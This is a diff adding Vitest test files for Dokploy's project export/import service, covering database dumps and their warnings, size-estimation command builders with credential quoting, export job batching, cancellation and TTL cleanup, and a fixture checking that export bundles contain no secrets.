||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
{ ...baseScope, dumps: { mode: "none" } },
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async () => {
|
||||
throw new Error("should not be called");
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(warnings).toHaveLength(0);
|
||||
expect(existsSync(join(workDir, "dumps"))).toBe(false);
|
||||
});
|
||||
|
||||
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_s, _c, localPath) => {
|
||||
const { open } = await import("node:fs/promises");
|
||||
const handle = await open(localPath.path, "w");
|
||||
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
|
||||
await handle.close();
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
|
||||
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
|
||||
});
|
||||
|
||||
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async () => {
|
||||
throw new Error("pg_dump: connection refused");
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(existsSync(join(workDir, "dumps"))).toBe(false);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("DUMP_FAILED");
|
||||
expect(warnings[0]?.message).toContain("pg-one");
|
||||
expect(warnings[0]?.affected).toContainEqual(
|
||||
expect.objectContaining({ serviceId: "pg-1" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
postgres: [],
|
||||
redis: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
libsql: [],
|
||||
compose: [
|
||||
{
|
||||
composeId: "compose-1",
|
||||
appName: "stack-one",
|
||||
serverId: null,
|
||||
backups: [
|
||||
{
|
||||
backupId: "backup-1",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mariadb",
|
||||
metadata: {
|
||||
mariadb: { databaseUser: "u", databasePassword: "p" },
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(1);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
|
||||
expect(warnings[0]?.affected).toEqual([
|
||||
{
|
||||
serviceId: "compose-1",
|
||||
serviceType: "compose",
|
||||
serviceName: "stack-one",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
]);
|
||||
expect(dumps[0]?.serviceId).toBe("compose-1");
|
||||
expect(dumps[0]?.mode).toBe("embed");
|
||||
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
|
||||
"backup-1",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
postgres: [],
|
||||
redis: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
libsql: [],
|
||||
compose: [
|
||||
{
|
||||
composeId: "compose-1",
|
||||
appName: "stack-one",
|
||||
serverId: null,
|
||||
backups: [
|
||||
{
|
||||
backupId: "backup-1",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mariadb",
|
||||
metadata: {
|
||||
mariadb: { databaseUser: "u", databasePassword: "p" },
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async () => {
|
||||
throw new Error("Container not found");
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
|
||||
expect(existsSync(join(workDir, "dumps"))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createDumps / referenceLastBackup mode", () => {
|
||||
it("references the destination + key prefix of the latest successful backup", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [{ backupId: "backup-1" }],
|
||||
},
|
||||
]);
|
||||
|
||||
const db = fakeDb({
|
||||
deployments: {
|
||||
findMany: async () => [{ backupId: "backup-1", status: "done" }],
|
||||
},
|
||||
backups: {
|
||||
findFirst: async () => ({
|
||||
backupId: "backup-1",
|
||||
destinationId: "dest-1",
|
||||
prefix: "/nightly/",
|
||||
}),
|
||||
},
|
||||
});
|
||||
|
||||
const { dumps } = await createDumps(
|
||||
db,
|
||||
tree as any,
|
||||
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
|
||||
local(workDir),
|
||||
);
|
||||
|
||||
expect(dumps).toEqual([
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "referenceLastBackup",
|
||||
destinationId: "dest-1",
|
||||
keyPrefix: "pg-one/nightly/",
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips a service with no successful backup deployment", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [{ backupId: "backup-1" }],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
|
||||
local(workDir),
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
import type { ExportScope } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
buildDatabaseSizeCommand,
|
||||
buildDirectorySizeCommand,
|
||||
estimateSizes,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const scope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "p",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [
|
||||
{ applicationId: "app-1", appName: "app-one", serverId: null },
|
||||
],
|
||||
compose: [
|
||||
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
|
||||
],
|
||||
postgres: [
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
serverId: null,
|
||||
databaseName: "mydb",
|
||||
databaseUser: "me",
|
||||
},
|
||||
],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
|
||||
libsql: [],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const pathsFn = (isServer = false) =>
|
||||
({
|
||||
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
|
||||
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
|
||||
}) as never;
|
||||
|
||||
describe("estimateSizes", () => {
|
||||
it("sums database and file sizes, keyed to the right server and path", async () => {
|
||||
const calls: [string | null, string][] = [];
|
||||
const sizes = await estimateSizes(tree as never, scope, {
|
||||
pathsFn,
|
||||
probe: async (serverId, command) => {
|
||||
calls.push([serverId, command]);
|
||||
if (command.includes("pg_database_size")) return "1048576\n";
|
||||
if (command.includes("/remote/compose/compose-one")) return "2048";
|
||||
if (command.includes("/local/apps/app-one")) return "4096";
|
||||
throw new Error("unexpected");
|
||||
},
|
||||
});
|
||||
expect(sizes).toEqual({
|
||||
estimatedDumpBytes: 1048576,
|
||||
estimatedFilesBytes: 6144,
|
||||
});
|
||||
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
|
||||
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
|
||||
});
|
||||
|
||||
it("counts a failing probe as zero instead of failing the preview", async () => {
|
||||
const sizes = await estimateSizes(tree as never, scope, {
|
||||
pathsFn,
|
||||
probe: async () => {
|
||||
throw new Error("container not running");
|
||||
},
|
||||
});
|
||||
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
|
||||
});
|
||||
});
|
||||
|
||||
describe("size command builders", () => {
|
||||
it("passes database credentials as env vars, never inside the container script", () => {
|
||||
const command = buildDatabaseSizeCommand("mariadb", {
|
||||
appName: "db-one",
|
||||
databaseName: "shop",
|
||||
databaseUser: "shop",
|
||||
databasePassword: "s3cret'quote",
|
||||
}) as string;
|
||||
const [outer, inner] = command.split(" sh -c ");
|
||||
expect(outer).toContain("-e DB_PASS=");
|
||||
expect(inner).toContain('--password="$DB_PASS"');
|
||||
expect(inner).not.toContain("s3cret");
|
||||
expect(inner).not.toContain("\\$");
|
||||
});
|
||||
|
||||
it("has no size probe for redis", () => {
|
||||
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
|
||||
});
|
||||
|
||||
it("quotes the directory path", () => {
|
||||
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
|
||||
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,348 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
cancelExport,
|
||||
cleanupExpiredExports,
|
||||
createExportJob,
|
||||
getExportJob,
|
||||
runExport,
|
||||
runExportBatch,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const fakePaths = (_isServer: boolean) => ({
|
||||
BASE_PATH: root,
|
||||
MAIN_TRAEFIK_PATH: join(root, "traefik"),
|
||||
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
|
||||
LOGS_PATH: join(root, "logs"),
|
||||
APPLICATIONS_PATH: join(root, "applications"),
|
||||
COMPOSE_PATH: join(root, "compose"),
|
||||
SSH_PATH: join(root, "ssh"),
|
||||
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
|
||||
MONITORING_PATH: join(root, "monitoring"),
|
||||
REGISTRY_PATH: join(root, "registry"),
|
||||
SCHEDULES_PATH: join(root, "schedules"),
|
||||
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
|
||||
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
|
||||
PATCH_REPOS_PATH: join(root, "patch-repos"),
|
||||
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
|
||||
});
|
||||
|
||||
const emptyProjectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => emptyProjectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const waitForStatus = async (
|
||||
exportId: string,
|
||||
target: "done" | "error",
|
||||
timeoutMs = 5000,
|
||||
) => {
|
||||
const start = Date.now();
|
||||
while (Date.now() - start < timeoutMs) {
|
||||
const job = getExportJob(exportId);
|
||||
if (job?.status === target || job?.status === "error") {
|
||||
return job;
|
||||
}
|
||||
await new Promise((resolve) => setTimeout(resolve, 20));
|
||||
}
|
||||
throw new Error(
|
||||
`Timed out waiting for export ${exportId} to reach ${target}`,
|
||||
);
|
||||
};
|
||||
|
||||
describe("runExport", () => {
|
||||
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
|
||||
const { exportId } = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
const job = await waitForStatus(exportId, "done");
|
||||
expect(job?.status).toBe("done");
|
||||
expect(job?.bundle?.path).toBeDefined();
|
||||
expect(existsSync(job?.bundle?.path as string)).toBe(true);
|
||||
expect(job?.downloadToken).toBeDefined();
|
||||
expect(job?.size).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
|
||||
const tree = {
|
||||
...emptyProjectTree,
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
compose: [],
|
||||
postgres: [
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
name: "pg",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
mounts: [],
|
||||
},
|
||||
],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
},
|
||||
],
|
||||
};
|
||||
const db = {
|
||||
query: {
|
||||
projects: { findFirst: async () => tree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
applications: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const { exportId } = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db,
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
const job = await waitForStatus(exportId, "done");
|
||||
expect(job?.status).toBe("done");
|
||||
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
|
||||
"DUMP_FAILED",
|
||||
]);
|
||||
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
|
||||
});
|
||||
|
||||
it("gives two concurrent exports independent exportIds and workDirs", async () => {
|
||||
const first = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
const second = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
expect(first.exportId).not.toBe(second.exportId);
|
||||
|
||||
const [job1, job2] = await Promise.all([
|
||||
waitForStatus(first.exportId, "done"),
|
||||
waitForStatus(second.exportId, "done"),
|
||||
]);
|
||||
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
|
||||
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
|
||||
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("runExportBatch", () => {
|
||||
it("runs the exports one after another and finishes every job", async () => {
|
||||
const ctx = {
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
};
|
||||
const input = {
|
||||
source: { kind: "project" as const, id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
};
|
||||
const { exportIds } = runExportBatch([input, input], ctx);
|
||||
expect(exportIds).toHaveLength(2);
|
||||
|
||||
const first = await waitForStatus(exportIds[0] as string, "done");
|
||||
const second = await waitForStatus(exportIds[1] as string, "done");
|
||||
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
|
||||
expect(existsSync(first?.bundle?.path as string)).toBe(true);
|
||||
expect(existsSync(second?.bundle?.path as string)).toBe(true);
|
||||
}, 30_000);
|
||||
|
||||
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
|
||||
const input = {
|
||||
source: { kind: "project" as const, id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
};
|
||||
const { exportIds } = runExportBatch([input, input], {
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
|
||||
|
||||
const first = await waitForStatus(exportIds[0] as string, "done");
|
||||
const second = await waitForStatus(exportIds[1] as string, "done");
|
||||
expect(second?.createdAt).toBeGreaterThan(queuedAt);
|
||||
expect(second?.createdAt).toBeGreaterThanOrEqual(
|
||||
first?.createdAt as number,
|
||||
);
|
||||
}, 30_000);
|
||||
});
|
||||
|
||||
describe("cancelExport (T-6.7)", () => {
|
||||
it("refuses to cancel while the export is actually running", async () => {
|
||||
const job = createExportJob("cancel-running-1", "user-1", "org-1");
|
||||
job.status = "dumping";
|
||||
|
||||
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
|
||||
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
|
||||
});
|
||||
|
||||
it("allows cancelling once the export has reached a terminal status", async () => {
|
||||
const job = createExportJob("cancel-done-1", "user-1", "org-1");
|
||||
job.status = "done";
|
||||
|
||||
await cancelExport("cancel-done-1");
|
||||
expect(getExportJob("cancel-done-1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("cleanupExpiredExports", () => {
|
||||
it("deletes expired jobs and their bundle files", async () => {
|
||||
const job = createExportJob("expired-1", "user-1", "org-1");
|
||||
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
|
||||
await writeFile(bundlePath, "fake bundle");
|
||||
job.workspace = { serverId: null, path: join(root, "expired-1") };
|
||||
job.bundle = { serverId: null, path: bundlePath };
|
||||
job.status = "done";
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredExports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.exportId)).toContain("expired-1");
|
||||
expect(getExportJob("expired-1")).toBeUndefined();
|
||||
expect(existsSync(bundlePath)).toBe(false);
|
||||
});
|
||||
|
||||
it("leaves fresh jobs untouched", async () => {
|
||||
createExportJob("fresh-1", "user-1", "org-1");
|
||||
const expired = await cleanupExpiredExports(Date.now());
|
||||
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
|
||||
expect(getExportJob("fresh-1")).toBeDefined();
|
||||
});
|
||||
|
||||
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
|
||||
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
|
||||
job.status = "dumping";
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredExports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
|
||||
expect(getExportJob("active-past-ttl-1")).toBeDefined();
|
||||
});
|
||||
|
||||
it("does clean up a terminal-status job once it's past the TTL", async () => {
|
||||
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
|
||||
job.status = "error";
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredExports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
|
||||
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,276 @@
|
||||
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join, relative } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
manifestSchema,
|
||||
serialize,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsync } from "@dokploy/server/utils/process/execAsync";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
const SECRET_VALUES = [
|
||||
"hunter2-vault-secret-placeholder",
|
||||
"realdbpassword123",
|
||||
"registrypassword456",
|
||||
"basicauthpassword789",
|
||||
];
|
||||
|
||||
const application = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token-should-never-appear",
|
||||
registryId: "registry-1",
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
redirects: [],
|
||||
security: [
|
||||
{
|
||||
securityId: "sec-1",
|
||||
username: "admin",
|
||||
password: "basicauthpassword789",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const postgres = {
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-xyz789",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
databasePassword: "realdbpassword123",
|
||||
serverId: null,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application],
|
||||
postgres: [postgres],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: { findMany: async () => [application] },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "registry-1",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
password: "registrypassword456",
|
||||
},
|
||||
],
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-1",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
password: "registrypassword456",
|
||||
}),
|
||||
},
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: { registry: "value" },
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
|
||||
const entries = await readdir(dir, { withFileTypes: true });
|
||||
const files: string[] = [];
|
||||
for (const entry of entries) {
|
||||
const full = join(dir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
files.push(...(await walkFiles(full, base)));
|
||||
} else {
|
||||
files.push(relative(base, full));
|
||||
}
|
||||
}
|
||||
return files;
|
||||
};
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("export integration: capture -> serialize", () => {
|
||||
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
|
||||
